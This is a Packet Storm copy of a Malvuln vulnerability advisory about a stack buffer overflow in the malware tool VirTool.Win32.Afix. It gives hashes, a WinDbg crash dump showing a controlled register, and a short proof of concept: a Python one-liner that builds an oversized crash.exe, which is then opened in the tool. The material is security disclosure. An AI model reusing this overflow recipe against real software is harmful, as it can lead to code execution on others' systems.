exploit the possibilities

VirTool.Win32.Afix Buffer Overflow / Code Execution

VirTool.Win32.Afix Buffer Overflow / Code Execution
Posted Jul 13, 2021
Authored by malvuln | Site malvuln.com

VirTool.Win32.Afix malware suffers from buffer overflow and code execution vulnerabilities.

tags | exploit, overflow, vulnerability, code execution
systems | windows
MD5 | f369cc6a6386fcb18a2d13ccc18955b9

VirTool.Win32.Afix Buffer Overflow / Code Execution

Change Mirror Download
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/35100db8750364871fe70ef6de4833f7.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: VirTool.Win32.Afix
Vulnerability: Local Stack Buffer Overflow
Description: VirTool.Win32.Afix By Zimenkov doesn't properly validate the files it opens. Therefore, opening a specially crafted (EXE) file triggers a stack buffer overflow overwriting EAX register. EAX register typically stores return values from functions. This can allow an attacker to control program execution flow resulting in arbitrary code execution.
Type: PE32
MD5: 35100db8750364871fe70ef6de4833f7
Vuln ID: MVID-2021-0291
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 07/12/2021

Memory Dump:
(e30.1004): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=562c45f2 edx=00000001 esi=00000003 edi=00000003
eip=77dded3c esp=005fefdc ebp=005ff16c iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200202
ntdll!ZwWaitForMultipleObjects+0xc:
77dded3c c21400 ret 14h

0:000> .ecxr
eax=41414141 ebx=00000001 ecx=562c45f2 edx=00000001 esi=00130538 edi=004010a0
eip=00401259 esp=005ff91c ebp=43da2d19 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
*** ERROR: Module load completed but symbols could not be loaded for VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1259:
00401259 8b4528 mov eax,dword ptr [ebp+28h] ss:002b:43da2d41=????????

0:000> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************


FAULTING_IP:
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
00401259 8b4528 mov eax,dword ptr [ebp+28h]

EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)
ExceptionAddress: 00401259 (VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x00001259)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 43da2d41
Attempt to read from address 43da2d41

PROCESS_NAME: VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000000

EXCEPTION_PARAMETER2: 43da2d41

READ_ADDRESS: 43da2d41

FOLLOWUP_IP:
VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259
00401259 8b4528 mov eax,dword ptr [ebp+28h]

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

FAULTING_THREAD: 00001004

BUGCHECK_STR: APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 004014c9 to 00401259

STACK_TEXT:
WARNING: Stack unwind information not available. Following frames may be wrong.
005ff938 004014c9 004010a0 00130538 005ff964 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1259
005ff95c 0040113e 005ff990 770ce0bb 00130538 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x14c9
005ff964 770ce0bb 00130538 00000111 00000196 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x113e
005ff990 770d8849 004010a0 00130538 00000111 user32!_InternalCallWinProc+0x2b
005ff9b4 770dacd3 00000111 00000196 001404b2 user32!InternalCallWinProc+0x20
005ffa38 770bbf65 00130538 00000111 00000196 user32!UserCallDlgProcCheckWow+0x156
005ffa94 770bbe45 02ff7520 00000000 00000111 user32!DefDlgProcWorker+0x115
005ffab4 770ce0bb 00130538 00000111 00000196 user32!DefDlgProcW+0x25
005ffae0 770d8849 77df92b0 00130538 00000111 user32!_InternalCallWinProc+0x2b
005ffb04 770db145 00000111 00000196 001404b2 user32!InternalCallWinProc+0x20
005ffbd4 770da89c 77df92b0 00000000 00000111 user32!UserCallWinProcCheckWow+0x1be
005ffc40 770bb95b 02ff7520 00000000 001404b2 user32!SendMessageWorker+0x6ff
005ffc68 770d5493 00130538 00000111 00000196 user32!SendMessageW+0x5b
005ffc90 770d4dda 03089f30 00000000 00000000 user32!xxxButtonNotifyParent+0x66
005ffcb8 770d4240 028859a8 00000000 03089f30 user32!xxxBNReleaseCapture+0x150
005ffd50 770d36c6 03089f30 00000000 00000202 user32!ButtonWndProcWorker+0xad0
005ffd84 770ce0bb 001404b2 00000202 00000000 user32!ButtonWndProcA+0x56
005ffdb0 770d8849 770d3670 001404b2 00000202 user32!_InternalCallWinProc+0x2b
005ffdd4 770db145 00000202 00000000 00130059 user32!InternalCallWinProc+0x20
005ffea4 770c90dc 19ddfbc0 00007ff9 00000202 user32!UserCallWinProcCheckWow+0x1be
005fff10 770bb2ee 00000000 00402178 00402170 user32!DispatchMessageWorker+0x4ac
005fff40 770bb0cc 00130538 00402170 00402170 user32!IsDialogMessageW+0x17e
005fff6c 00401048 005fff94 0040105c 00130538 user32!IsDialogMessageA+0x13c
005fff94 77dd4a77 002cf000 3e725442 00000000 VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+0x1048
005fffdc 77dd4a47 ffffffff 77df9ea3 00000000 ntdll!__RtlUserThreadStart+0x2f
005fffec 00000000 00401000 002cf000 00000000 ntdll!_RtlUserThreadStart+0x1b


STACK_COMMAND: ~0s; .ecxr ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7

IMAGE_NAME: VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 0

FAILURE_BUCKET_ID: INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_c0000005_VirTool.Win32.Afix.35100db8750364871fe70ef6de4833f7.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_INVALID_POINTER_READ_PROBABLYEXPLOITABLE_FILL_PATTERN_41414141_VirTool_Win32_Afix_35100db8750364871fe70ef6de4833f7+1259


Exploit/PoC:
1) python -c "print('MZ'+'A'*10000)" > crash.exe
2) Open crash.exe in the vulnerable program


Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).
Login or Register to add favorites

File Archive:

September 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    14 Files
  • 2
    Sep 2nd
    19 Files
  • 3
    Sep 3rd
    9 Files
  • 4
    Sep 4th
    1 Files
  • 5
    Sep 5th
    2 Files
  • 6
    Sep 6th
    3 Files
  • 7
    Sep 7th
    12 Files
  • 8
    Sep 8th
    22 Files
  • 9
    Sep 9th
    17 Files
  • 10
    Sep 10th
    19 Files
  • 11
    Sep 11th
    3 Files
  • 12
    Sep 12th
    2 Files
  • 13
    Sep 13th
    15 Files
  • 14
    Sep 14th
    16 Files
  • 15
    Sep 15th
    15 Files
  • 16
    Sep 16th
    7 Files
  • 17
    Sep 17th
    13 Files
  • 18
    Sep 18th
    2 Files
  • 19
    Sep 19th
    2 Files
  • 20
    Sep 20th
    14 Files
  • 21
    Sep 21st
    20 Files
  • 22
    Sep 22nd
    28 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close